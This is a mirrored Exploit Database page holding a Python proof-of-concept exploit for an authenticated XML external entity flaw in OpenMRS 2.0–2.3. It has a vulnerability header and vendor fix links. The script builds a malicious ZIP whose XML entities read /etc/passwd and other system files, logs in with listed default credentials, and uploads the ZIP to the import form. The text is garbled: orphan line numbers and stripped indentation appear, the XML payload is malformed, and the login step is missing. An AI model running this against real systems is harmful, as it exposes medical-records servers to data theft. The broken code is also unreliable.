OpenMRS 2.3 (1.11.4) – XML External Entity Processing

Exploit Database
111 阅读

作者： LiquidWorm

日期： 2015-12-08
类别：
- webapps
平台：
- xml
来源：https://www.exploit-db.com/exploits/38896/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

#!/usr/bin/env python

# OpenMRS 2.3 (1.11.4) XML External Entity (XXE) Processing PoC Exploit

# Vendor: OpenMRS Inc.

# Product web page: http://www.openmrs.org

# Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)

# OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))

# Summary: OpenMRS is an application which enables design of a customized medical

# records system with no programming knowledge (although medical and systems analysis

# knowledge is required). It is a common framework upon which medical informatics

# efforts in developing countries can be built.

# Desc: The vulnerability is caused due to an error when parsing XML entities within

# ZIP archives and can be exploited to e.g. disclose data from local resources or cause

# a DoS condition (billion laughs) via a specially crafted XML file including external

# entity references.

# Tested on: Ubuntu 12.04.5 LTS

#Apache Tomcat/7.0.26

#Apache Tomcat/6.0.36

#Apache Coyote/1.1

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

# Advisory ID: ZSL-2015-5289

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5289.php

# Affected: OpenMRS Core, Serialization.Xstream module, Metadata Sharing module

# Severity: Major

# Exploit: Remote Code Execution by an authenticated user

# Vendor Bug Fixes:

# Disabled serialization and deserialization of dynamic proxies

# Disabled deserialization of external entities in XML files

# Disabled spring's Expression Language support

# https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868

# https://talk.openmrs.org/t/critical-security-advisory-2015-11-25/3824

# https://wiki.openmrs.org/display/RES/Release+Notes+2.3.1

# http://openmrs.org/2015/12/reference-application-2-3-1-released/

# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.9.10

# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.10.3

# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.11.5

# https://modules.openmrs.org/modulus/api/releases/1308/download/serialization.xstream-0.2.10.omod

# https://modules.openmrs.org/modulus/api/releases/1309/download/metadatasharing-1.1.10.omod

# https://modules.openmrs.org/modulus/api/releases/1303/download/reporting-0.9.8.1.omod

# OpenMRS platform has been upgraded to version 1.11.5

# Reporting module has been upgraded to version 0.9.8.1

# Metadata sharing module has been upgraded to version 1.1.10

# Serialization.xstream module has been upgraded to version 0.2.10

# Who is affected?

# Anyone running OpenMRS Platform (1.9.0 and later)

# Anyone running OpenMRS Reference Application 2.0, 2.1, 2.2, 2.3

# Anyone that has installed the serialization.xstream module except for the newly released 0.2.10 version.

# Anyone that has installed the metadatasharing module except for the newly released 1.1.10 version.

# 02.11.2015

import itertools, mimetools, mimetypes

import cookielib, urllib, urllib2, sys

import time, datetime, re, zipfile, os

import binascii

from urllib2 import URLError

global bindata

piton = os.path.basename(sys.argv[0])

def bannerche():

print '''

@-------------------------------------------------@

| |

|OpenMRS 2.3 Authenticated XXE Exploit|

| ID: ZSL-2015-5289 |

| |

@-------------------------------------------------@

'''

if len(sys.argv) < 4:

print '\n[+] Usage: '+piton+' <host> <port> <path> \n'

print '[+] Example: '+piton+' uat05.zeroscience.mk 8080 openmrs\n'

sys.exit()

bannerche()

print '[+] Date: '+str(datetime.date.today())

payload = '''<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ZSL [

<!ENTITY xxe1 SYSTEM "file:////etc/passwd" >

<!ENTITY xxe2 SYSTEM "file:///etc/resolv.conf" >

<!ENTITY xxe3 SYSTEM "file:///etc/issue" >]>

</package>'''

print '[+] Creating header.xml file.'

file = open('header.xml', 'w')

file.write(payload)

file.close()

time.sleep(1)

print '[+] Packing evil XML file.'

with zipfile.ZipFile('xxe.zip', 'w') as devzip:

devzip.write('header.xml')

os.remove('header.xml')

print '[+] XML file vacuumed.'

time.sleep(1)

filename = 'xxe.zip'

with open(filename, 'rb') as f:

content = f.read()

hexo = binascii.hexlify(content)

bindata = binascii.unhexlify(hexo)

print '[+] File xxe.zip successfully created!'

print '[+] Initialising communication.'

host = sys.argv[1]

port = sys.argv[2]

path = sys.argv[3]

cj = cookielib.CookieJar()

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

print '[+] Probing target http://'+host+':'+port+'/'+path+'/'

try:

checkhost = opener.open('http://'+host+':'+port+'/'+path+'/login.htm')

hostresp = checkhost.read()

except urllib2.HTTPError, errorzio:

if errorzio.code == 404:

print '[+] Error:'

print '[+] Check your path entry!'

sys.exit()

except URLError, errorziocvaj:

if errorziocvaj.reason:

print '[+] Error:'

print '[+] Check your hostname entry!'

sys.exit()

print '[+] Target seems OK.'

print '[+] Login please:'

print '''

Username:doctornurseclerksysadminadminscheduler

Password: Doctor123 Nurse123 Clerk123 Sysadmin123 Admin123 Scheduler123

'''

username = raw_input('[*] Enter username: ')

password = raw_input('[*] Enter password: ')

login_data = urllib.urlencode({

'username' : username,

'password' : password,

'sessionLocation' : '3',

'redirectUrl' : '/'+path+'/module/metadatasharing/import/list.form'

})

auth = login.read()

for session in cj:

sessid = session.name

print '[+] Mapping session ID.'

ses_chk = re.search(r'%s=\w+' % sessid , str(cj))

cookie = ses_chk.group(0)

print '[+] Cookie: '+cookie

if re.search(r'Invalid username/password. Please try again', auth):

print '[+] Incorrect username or password.'

sys.exit()

else:

print '[+] Authenticated!'

opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/list.form')

print '[+] Sending payload.'

class MultiPartForm(object):

def __init__(self):

self.form_fields = []

self.files = []

self.boundary = mimetools.choose_boundary()

return

def get_content_type(self):

return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):

self.form_fields.append((name, value))

return

def add_file(self, fieldname, filename, fileHandle, mimetype=None):

body = fileHandle.read()

if mimetype is None:

mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'

self.files.append((fieldname, filename, mimetype, body))

return

def __str__(self):

parts = []

part_boundary = '--' + self.boundary

parts.extend(

[ part_boundary,

'Content-Disposition: form-data; name="%s"' % name,

'',

value,

]

for name, value in self.form_fields

)

parts.extend(

[ part_boundary,

'Content-Disposition: file; name="%s"; filename="%s"' % \

(field_name, filename),

'Content-Type: %s' % content_type,

'',

body,

]

for field_name, filename, content_type, body in self.files

)

flattened = list(itertools.chain(*parts))

flattened.append('--' + self.boundary + '--')

flattened.append('')

return '\r\n'.join(flattened)

if __name__ == '__main__':

form = MultiPartForm()

form.add_field('file"; filename="xxe.zip', bindata)

form.add_field('url', '')

request = urllib2.Request('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')

request.add_header('User-agent', 'joxypoxy 6.5')

body = str(form)

request.add_header('Origin', 'http://'+host+':'+port)

request.add_header('Accept-Encoding', 'gzip, deflate')

request.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')

request.add_header('Accept-Language', 'en-US,en;q=0.8')

request.add_header('Cache-Control', 'max-age=0')

request.add_header('Upgrade-Insecure-Requests', '1')

request.add_header('Referer', 'http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')

request.add_header('Content-type', form.get_content_type())

request.add_header('Cookie', cookie)

request.add_header('Content-length', len(body))

request.add_data(body)

request.get_data()

urllib2.urlopen(request).read()

time.sleep(1)

print '[+] Retrieving /etc/passwd:'

time.sleep(2)

getinfo = opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/validate.form')